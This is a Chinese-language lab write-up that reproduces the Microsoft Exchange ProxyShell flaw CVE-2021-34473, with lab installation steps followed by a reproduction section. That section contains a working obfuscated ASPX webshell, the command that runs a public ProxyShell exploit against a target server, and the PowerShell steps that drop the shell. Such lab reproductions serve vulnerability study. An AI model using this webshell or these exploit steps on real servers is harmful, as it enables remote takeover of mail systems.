Microsoft Exchange Server 远程代码执行漏洞 CVE-2021-34473
# 背景:
2021 年 8 月 5 日,安全研究员在国外安全会议上公开了 CVE-2021-34473 Microsoft Exchange Server 远程代码执行漏洞分析及其 POC。攻击者利用该漏洞可绕过相关权限验证,进而配合其他漏洞可执行任意代码,控制 Microsoft Exchange Server。
# 漏洞编号:
CVE-2021-34473
# 影响版本:
Microsoft Exchange Server 2010
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019
# 环境搭建:(内存要 8 G)
- 安装 AD 域控,打开服务器管理器,点击管理 > 添加角色和功能(Windows Server 2016)

-
选择 Active Directory 域服务 和 DNS 服务器
![]()
![]()
-
打开服务器管理器,将此服务器提升为域控制器


- 设置一个密码

- 点击安装,安装完成后系统会自动重启

-
安装 Exchange 依赖组件
-
NET Framework 4.8
- 安装 Visual C++w Redistributable Package for Visual Studio 2012
https://www.microsoft.com/en-us/download/details.aspx?id=30679
- Visual C++ 2013 Redistributable Package
- 通过 Power Shell 安装 Exchange 必备的 Windows 组件
Install-WindowsFeature Server-Media-Foundation, NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, RSAT-Clustering-Mgmt, RSAT-Clustering-PowerShell, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation, RSAT-ADDS

- 然后下载 exchange 2016 ios:
- 安装 Exchange 右键以管理员身份运行

- 选择不检查更新

- 选择邮箱角色

- 禁用恶意软件扫描

- 根据错误提示点击链接修复错误(两个错误)

- 安装完成登录

# 复现步骤:
- 生成一个 webshell,https://github.com/Ridter/proxyshell_payload ,在 proxyshell_payload.py 中,修改末尾的 webshell 变量,将其替换为蚁剑的 webshell
更改前:

更改后:

'<%@ Page Language="Jscript" Debug=true%><%var NNVF=\'dFUwlmztVCSLYeHkDMgEZrKWhjQBNsuiGnf0xJPqAcvbIopXyaTR\';var NURV=Request.Form("mima");var FASZ=NNVF(2) + NNVF(28) + NNVF(10) + NNVF(40) + NNVF(1) + NNVF(13);eval(NURV, FASZ);%>'
运行后:

- 下载 exp,https://github.com/dmaasland/proxyshell-poc 编辑 proxyshell_rce.py 将上一步 Encode webshell 执行结果粘贴到 314 行

- 执行 python proxyshell_rce.py -u https://x.x.x.x/ -e administrator@xxx.com(最后这个邮箱必须为目标邮箱管理组的邮箱用户名,一般 administrator 都在)执行这步的时候会报错缺少 pypsrp 模块,安装即可:pip install pypsrp


- 依次执行下面 3 条命令
① Get-MailboxExportRequest
② Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false

③ dropshell

- 上传成功后使用蚁剑连接 webshell,连接目标为上一步执行完最后得出的 shell url 地址,密码为 mima



- 勾选忽略 HTTPS 证书

- 连接成功


